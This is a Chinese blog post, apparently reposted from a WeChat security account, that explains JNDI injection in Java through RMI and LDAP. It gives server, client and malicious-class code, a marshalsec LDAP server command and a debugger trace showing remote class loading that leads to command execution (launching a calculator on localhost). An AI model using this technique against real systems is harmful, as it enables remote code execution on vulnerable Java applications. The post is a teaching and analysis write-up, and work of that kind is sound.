一文读懂JNDI-RMI、LDAP注入分析

admin 2023年3月10日23:47:55评论40 views字数 3671阅读12分14秒阅读模式
一文读懂JNDI-RMI、LDAP注入分析

JNDI介绍

JNDI 的全称是 Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

一文读懂JNDI-RMI、LDAP注入分析


SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

LDAP、DNS、NIS、NDS、RMI、CORBA


在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;

  • lookup:通过名字检索执行的对象;

下面从两种服务来理解jndi注入。


RMI介绍

RMI 的全称是 Rmote Method Invocation,远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。


本地客户端获取远程类的代理的方式是,借助了 Registry (注册中心)


一文读懂JNDI-RMI、LDAP注入分析


其中 Server 和 Registry 可以放在同一个服务器上,也可以布置在不同的服务器上。


RMI 流程:

  • Registry 首先启动,并监听一个端口,一般是1099

  • Server 向 Registry 注册远程对象

  • Client 从 REgistry 获取远程对象的代理

  • Client 通过这个代理调用远程对象的方法

  • Server 端的代理接收到 Client 端调用的方法,参数,Server 端执行相对应的方法

  • Server 端的代理将执行结果返回给 Client 端代理


JNDI之RMI

JDK版本为1.7.0_13

简单看一段代码

public class jndi {    public static void main(String[] args) throws NamingException {        String uri = "rmi://127.0.0.1:1099/work";        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用        initialContext.lookup(uri);//获取指定的远程对象
}

这段代码可以明显看出来,要想实现jndi注入的利用只要在initialContext.lookup(uri)的位置实现uri可控就可以调用远程恶意类实现RCE。


Server.java

服务端首先起一个注册中心的端口1099,rmi服务默认端口为1099

package jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;

public class Server {
   public static void main(String[] args) throws Exception{        Registry registry= LocateRegistry.createRegistry(1099);        Reference reference = new Reference("Calc", "Calc", "http://localhost/");        ReferenceWrapper wrapper = new ReferenceWrapper(reference);        registry.bind("calc", wrapper);
   }}

Client.java

package jndi;
import javax.naming.InitialContext;
public class Client {    public static void main(String[] args) throws Exception{        new InitialContext().lookup("rmi://localhost:1099/calc");    }}

恶意类Calc.java

import java.lang.Runtime;
public class Calc {    public Calc() throws Exception{        Runtime.getRuntime().exec("calc");    }}
一文读懂JNDI-RMI、LDAP注入分析


分析

debug调试服务端

一文读懂JNDI-RMI、LDAP注入分析

服务端注册中心起监听端口1099,创建Refernence一个对象,Reference对象中指定从远程加载构造的恶意Factory类,new对象的时候需要className,factory和factoryLocation,并将其绑定到RMI服务器上


debug启动客户端,F7跟进
一文读懂JNDI-RMI、LDAP注入分析
在GenericURLContext类96行通过RMI服务查找名字为calc的stub
一文读懂JNDI-RMI、LDAP注入分析
继续向下跟进lookup,在RegistryContext类中该函数判断var1和var2
一文读懂JNDI-RMI、LDAP注入分析
这里89行的的var为建立socket连接时的远程地址,在98行跟进RegistryContext类
一文读懂JNDI-RMI、LDAP注入分析
在342行跟进到NamingManager类,继续向下在getObjectInstance方法中获取工厂类对象
一文读懂JNDI-RMI、LDAP注入分析
在319行调用了getObjectFactoryFromReference方法,发现通过getObjectFactoryFromReference方法调用恶意类
一文读懂JNDI-RMI、LDAP注入分析
继续F7
一文读懂JNDI-RMI、LDAP注入分析
首先会本地查找,获取到codebase后远程调用,见158行

一文读懂JNDI-RMI、LDAP注入分析


在158行加载恶意类,在168行使用newInstance`方法实例化对象。到这里我们可以看到整个过程的调用栈为
一文读懂JNDI-RMI、LDAP注入分析


JDK版本为1.8.0_202

一文读懂JNDI-RMI、LDAP注入分析

在执行客户端的时候报错,由于此jdk版本的com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载objectfactory类。


JNDI之LDAP

因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。


客户端代码client.java

package jndi;
import javax.naming.InitialContext;
public class Client {    public static void main(String[] args) throws Exception{        new InitialContext().lookup("ldap://localhost:1389/Calc");    }}


python起web服务

python3 -m http.server 80
一文读懂JNDI-RMI、LDAP注入分析


使用marshalsec启动LDAP服务

java -cp C:UsersAdministratorDesktopmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc


启动客户端,调用远程恶意类

一文读懂JNDI-RMI、LDAP注入分析

一文读懂JNDI-RMI、LDAP注入分析
调用栈如下图
一文读懂JNDI-RMI、LDAP注入分析
基本上rmi调用栈一致,原理上没有什么差别,都是基于lookup()方法可控。


弹出计算器

一文读懂JNDI-RMI、LDAP注入分析


参考链接

https://blog.csdn.net/dupei/article/details/120534024
https://cloud.tencent.com/developer/article/1942500
https://blog.csdn.net/weixin_45682070/article/details/121888247?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&utm_relevant_index=8
https://xz.aliyun.com/t/7264

一文读懂JNDI-RMI、LDAP注入分析


【火线Zone攻防安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

一文读懂JNDI-RMI、LDAP注入分析

本文来自火线Zone征稿,详情请参考:

一文读懂JNDI-RMI、LDAP注入分析

原文始发于微信公众号(火线Zone):一文读懂JNDI-RMI、LDAP注入分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月10日23:47:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文读懂JNDI-RMI、LDAP注入分析http://cn-sec.com/archives/1596405.html

发表评论

匿名网友 填写信息